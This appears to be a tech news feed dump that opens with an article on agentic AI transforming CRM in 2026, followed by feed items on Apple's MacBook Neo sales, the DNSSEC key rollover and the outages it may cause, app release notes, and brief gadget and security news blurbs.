<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693115/it-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Sat, 25 Jul 2026 06:47:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” <a href="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" data-type="link" data-id="https://counterpointresearch.com/en/insights/global-pc-shipments-decline-q2-2026-memory-crisis" target="_blank" rel="noreferrer noopener">Counterpoint said in a post Wednesday</a>. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[v8.19.0-beta.1]]></title>
<description><![CDATA[Group admins can now bring chats to their natural conclusion with the new "End Group" option in group settings. Ending a group prevents group members from sending messages or starting calls, and also disables invites. Now you can make sure everyone stays on the right thread by ending last year's ...]]></description>
<link>https://tsecurity.de/de/3693052/downloads/v8190-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693052/downloads/v8190-beta1/</guid>
<pubDate>Sat, 25 Jul 2026 05:15:04 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Group admins can now bring chats to their natural conclusion with the new "End Group" option in group settings. Ending a group prevents group members from sending messages or starting calls, and also disables invites. Now you can make sure everyone stays on the right thread by ending last year's sewing meetup group before stitching a new one together.</li>
</ul>]]></content:encoded>
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<title><![CDATA[v8.19.0]]></title>
<description><![CDATA[Group admins can now bring chats to their natural conclusion with the new "End Group" option in group settings. Ending a group prevents group members from sending messages or starting calls, and also disables invites. Now you can make sure everyone stays on the right thread by ending last year's ...]]></description>
<link>https://tsecurity.de/de/3693051/downloads/v8190/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693051/downloads/v8190/</guid>
<pubDate>Sat, 25 Jul 2026 05:14:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Group admins can now bring chats to their natural conclusion with the new "End Group" option in group settings. Ending a group prevents group members from sending messages or starting calls, and also disables invites. Now you can make sure everyone stays on the right thread by ending last year's sewing meetup group before stitching a new one together.</li>
</ul>]]></content:encoded>
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<title><![CDATA[Statt teurer Webcam: Warum euer Smartphone die beste Wahl für Video-Calls ist]]></title>
<description><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy ...]]></description>
<link>https://tsecurity.de/de/3693050/downloads/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693050/downloads/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</guid>
<pubDate>Sat, 25 Jul 2026 05:14:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy oder iPhone ganz einfach als hochwertige Webcam für PC und Mac nutzt.]]></content:encoded>
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<title><![CDATA[NordVPN’s New HangUp App Screens Calls and Texts for Scams]]></title>
<description><![CDATA[Scam calls and text are rampant, and there’s no shortage of tools at your disposal to combat them.]]></description>
<link>https://tsecurity.de/de/3692787/it-nachrichten/nordvpns-new-hangup-app-screens-calls-and-texts-for-scams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692787/it-nachrichten/nordvpns-new-hangup-app-screens-calls-and-texts-for-scams/</guid>
<pubDate>Sat, 25 Jul 2026 02:17:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Scam calls and text are rampant, and there’s no shortage of tools at your disposal to combat them.]]></content:encoded>
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<title><![CDATA[50 drones in one swat: Reusable Lockheed Martin's Morfius X-Rotor uses powerful microwave to kill dozens of UAVs at a time]]></title>
<description><![CDATA[Lockheed Martin introduced the reusable Morfius X-Rotor, claiming it disables over 50 drones while reducing dependence on expensive interceptor missiles.]]></description>
<link>https://tsecurity.de/de/3692786/it-nachrichten/50-drones-in-one-swat-reusable-lockheed-martins-morfius-x-rotor-uses-powerful-microwave-to-kill-dozens-of-uavs-at-a-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692786/it-nachrichten/50-drones-in-one-swat-reusable-lockheed-martins-morfius-x-rotor-uses-powerful-microwave-to-kill-dozens-of-uavs-at-a-time/</guid>
<pubDate>Sat, 25 Jul 2026 02:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lockheed Martin introduced the reusable Morfius X-Rotor, claiming it disables over 50 drones while reducing dependence on expensive interceptor missiles.]]></content:encoded>
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<title><![CDATA[Roku Raises Prices of Streaming Devices By Up To 60%]]></title>
<description><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said...]]></description>
<link>https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</guid>
